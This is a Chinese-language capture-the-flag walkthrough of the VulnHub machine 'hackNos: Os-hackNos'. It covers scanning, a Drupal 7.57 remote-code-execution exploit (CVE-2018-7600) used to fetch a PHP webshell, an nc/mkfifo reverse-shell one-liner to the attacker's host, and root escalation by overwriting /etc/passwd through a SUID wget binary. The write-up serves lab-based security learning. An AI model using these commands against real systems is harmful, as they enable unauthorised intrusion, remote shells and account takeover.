靶机描述
难度容易到中 flag 两个 一个是普通用户的user.txt 另外一个是root用户的user.txt
Difficulty : Easy to Intermediate
Flag : 2 Flag first user And second root
Learning : exploit | Web Application | Enumeration | Privilege Escalation
Website : www.hackNos.com
mail : contact@hackNos.com
靶机地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
靶机配置,下载ova文件virtualBox导入即可
有个巨大的坑,vm导入失败尝试各种方法不行,下载virtualBox然后取消勾选软驱和启用USB控制器。最后成功打开虚拟靶机,网络也能访问
在virtualBox打开可以发现只有这个页面,我们不知道登录用户名和密码
开始渗透
信息收集
ifconfig查看本机ip
192.168.1.53
内网主机扫描
netdiscover -r 192.168.1.1/24
扫描结果
根据已知ip和主机介绍排除网关和本机kali主机以及已知主机ip104应该是目标机器的ip
nmap扫描端口
└─# nmap -sV -sC -A 192.168.1.104 -oA oshacknos1
扫描结果
根据结果对方开启了80端口和22端口浏览器能访问到Apache服务
对目标进行目录扫描
gobuster dir -u http://192.168.1.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
扫描结果
发现目录drupal访问一下
百度搜索drupal是个cms,下载源码可查看网站目录结构,找到版本介绍文件
访问http://192.168.1.104/drupal/CHANGELOG.txt
得知grupal的版本为 Drupal 7.57
github找到exp,复制到kali
查找漏洞获取shell
远程命令执行漏洞,执行相关命令
http://192.168.1.104/drupal/sites/default/settings.php
查看配置文件收集信息
└─# python3 drupa7-CVE-2018-7600.py -c "cat sites/default/settings.php" http://192.168.1.104/drupal/
找到数据库的相关配置信息
在kali新建一句话木马,开启http服务,执行命令让目标机器下载木马,反弹shell
通过exp下载shell文件
└─# python3 drupa7-CVE-2018-7600.py -c "wget 192.168.1.53:8000/yesir.php" http://192.168.1.104/drupal/
成功下载
打开bp yesir传参id,修改提交方法,返回结果命令执行成功 可以反弹shell。
通过命令查找nc 是否存在 which nc 存在的情况下 用nc反弹
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+‐i+2>%261|nc+192.168.1.53+9001+>/tmp/fa
监听9001端口,nc -lvnp 9001
成功反弹shell
昨天遇到了一个问题反弹的shell执行不了python命令的问题,我修改了获取shell的方法,用msf使用drupal的exp直接利用获得shell
修改shell交互方式,使用python命令
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看passwd文件
cat /etc/passwd
查看有james用户和root用户
ls /home/james
发现有user.txt文件
cat /home/james/user.txt
cd ..
返回上级目录发现可疑文件
查看可疑文件
发现是串base64加密后的字符串,解密base64
解码之后的结果
在线解密
解密的结果james:Hacker@4514
尝试登录
su james
失败
尝试ssh登录
也失败了
提升权限
通过suid提权 查找特权文件命令
find / ‐perm ‐u=s ‐type f 2>/dev/null
从上图可以看到 wget 是拥有root权限 即可以通过wget 下载可以替换文件。
替换/etc/passwd
在kali上生成密码
openssl passwd ‐1 ‐salt yesir 123456
创建文件passwd 把 写入yesir 为root权限
执行命令替换passwd文件
在kali开启http服务
wget http://192.168.1.53:8000/passwd ‐O /etc/passwd
查看目标上的/etc/passwd 看到文件已经成功替换
上图可见多出yesir用户
获取root.txt
su yesir
输入密码获取root权限
切换到根目录下查看root.txt
相逢一醉是前缘,风雨散、飘然何处